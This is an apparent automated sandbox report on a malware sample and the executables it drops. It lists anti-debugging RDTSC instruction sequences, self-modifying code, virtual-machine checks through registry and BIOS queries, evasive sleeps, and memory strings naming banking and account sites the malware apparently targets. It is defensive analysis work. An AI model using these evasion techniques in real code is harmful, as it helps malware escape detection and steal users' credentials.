Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F147A second address: 1F147E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F147E second address: 1F1491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jnc 00007FF218C0A9E0h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1526 second address: 1F1533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1533 second address: 1F1537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1537 second address: 1F153D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1A51 second address: 1F1A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1ADE second address: 1F1AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F1DF4 second address: 1F1DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F2086 second address: 1F208A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F208A second address: 1F209E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 add edi, dword ptr [ebp+122D2047h] 0x0000000d push eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F2D39 second address: 1F2D56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE19h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F2D56 second address: 1F2DBC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FF218C0A9E5h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 pop edx 0x00000014 nop 0x00000015 mov dword ptr [ebp+122D1C88h], edi 0x0000001b push 00000000h 0x0000001d mov edi, dword ptr [ebp+122D37E1h] 0x00000023 and esi, dword ptr [ebp+122D3699h] 0x00000029 push 00000000h 0x0000002b call 00007FF218C0A9E3h 0x00000030 or dword ptr [ebp+122D202Ch], eax 0x00000036 pop edi 0x00000037 mov edi, dword ptr [ebp+122D1DF6h] 0x0000003d push eax 0x0000003e jng 00007FF218C0A9E8h 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F2DBC second address: 1F2DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F4623 second address: 1F462A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F5CA4 second address: 1F5CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F5008 second address: 1F500E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F500E second address: 1F5014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F5014 second address: 1F5018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1FC1F2 second address: 1FC1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1FC1F9 second address: 1FC24D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FF218C0A9E8h 0x0000000e push 00000000h 0x00000010 jmp 00007FF218C0A9E7h 0x00000015 push 00000000h 0x00000017 mov bh, E5h 0x00000019 push eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF218C0A9E2h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1FC24D second address: 1FC251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1FB3B9 second address: 1FB3BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1FF163 second address: 1FF1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FF2192CCE08h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D3497h], edx 0x00000029 mov ebx, ecx 0x0000002b push 00000000h 0x0000002d mov edi, ecx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FF2192CCE08h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push edi 0x0000004d pushad 0x0000004e pushad 0x0000004f popad 0x00000050 jc 00007FF2192CCE06h 0x00000056 popad 0x00000057 pop edi 0x00000058 push eax 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 2001B6 second address: 2001E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF218C0A9DEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF218C0A9E2h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 2001E0 second address: 2001F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE12h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 2011E1 second address: 2011EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF218C0A9D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 2011EB second address: 2011EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 2011EF second address: 201260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007FF218C0A9DEh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FF218C0A9D8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov edi, 178A1AD2h 0x0000002f mov bx, di 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D227Eh], edi 0x0000003a push 00000000h 0x0000003c jmp 00007FF218C0A9DBh 0x00000041 jmp 00007FF218C0A9E3h 0x00000046 push eax 0x00000047 push ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 2BEC1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 461749 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 45FCFF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 46F93A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 4EFDDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Special instruction interceptor: First address: 4D9CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Special instruction interceptor: First address: 1E741F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Special instruction interceptor: First address: 20BA5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Special instruction interceptor: First address: 47E9E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Special instruction interceptor: First address: 62313E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Special instruction interceptor: First address: 648590 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Special instruction interceptor: First address: 47EA0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Special instruction interceptor: First address: 6A3CF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 26E9E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 41313E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 438590 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 26EA0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 493CF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Special instruction interceptor: First address: 90EC1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Special instruction interceptor: First address: AB1749 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Special instruction interceptor: First address: AAFCFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Special instruction interceptor: First address: ABF93A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Special instruction interceptor: First address: B3FDDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Special instruction interceptor: First address: 100DA66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Special instruction interceptor: First address: 100D98B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Special instruction interceptor: First address: 11CE763 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Special instruction interceptor: First address: 12318A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Special instruction interceptor: First address: 3DD9CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Special instruction interceptor: First address: 57741F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Special instruction interceptor: First address: 59BA5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Special instruction interceptor: First address: 71E9E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Special instruction interceptor: First address: 8C313E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Special instruction interceptor: First address: 8E8590 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Special instruction interceptor: First address: 71EA0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Special instruction interceptor: First address: 943CF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Special instruction interceptor: First address: 6D9CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Special instruction interceptor: First address: 20741F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Special instruction interceptor: First address: 22BA5E instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Memory allocated: 5450000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Memory allocated: 55F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Memory allocated: 75F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Memory allocated: 4CB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Memory allocated: 4D10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Memory allocated: 6D10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Memory allocated: 5310000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Memory allocated: 54F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Memory allocated: 74F0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEC65 rdtsc 3_2_001BEC65
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 361 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 2772 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 5938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Window / User API: threadDelayed 393
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7568 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2300 Thread sleep count: 60 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2300 Thread sleep time: -120060s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7320 Thread sleep count: 67 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7320 Thread sleep time: -134067s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2352 Thread sleep count: 62 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2352 Thread sleep time: -124062s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2340 Thread sleep count: 63 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2340 Thread sleep time: -126063s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3280 Thread sleep count: 361 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3280 Thread sleep time: -10830000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2464 Thread sleep count: 2772 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2464 Thread sleep time: -5546772s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7288 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2464 Thread sleep count: 5938 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2464 Thread sleep time: -11881938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe TID: 7608 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe TID: 6680 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe TID: 1240 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe TID: 6320 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe TID: 2256 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe TID: 6220 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Thread delayed: delay time: 922337203685477
Source: 51c532c207.exe, 00000019.00000003.2342243677.000000000519A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696494690p
Source: skotes.exe, skotes.exe, 0000000A.00000002.1744045051.00000000003EF000.00000040.00000001.01000000.0000000D.sdmp, cc6c7213b6.exe, 00000010.00000002.2217490475.000000000118B000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 51c532c207.exe, 00000019.00000003.2432299803.0000000000536000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2403635763.0000000000538000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW6
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696494690f
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: firefox.exe, 00000020.00000002.2461740422.0000024958C14000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllP
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 51c532c207.exe, 51c532c207.exe, 0000000F.00000003.2382253996.00000000007E9000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2207471772.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2153790681.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2218307084.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2432299803.0000000000536000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2403635763.0000000000538000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2461740422.0000024958C14000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2461740422.0000024958BEA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2461740422.0000024958BE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2459730427.000001BB98240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 51c532c207.exe, 00000019.00000003.2343558235.000000000516D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: firefox.exe, 00000023.00000002.2459730427.000001BB98240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: firefox.exe, 00000020.00000002.2461740422.0000024958C14000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
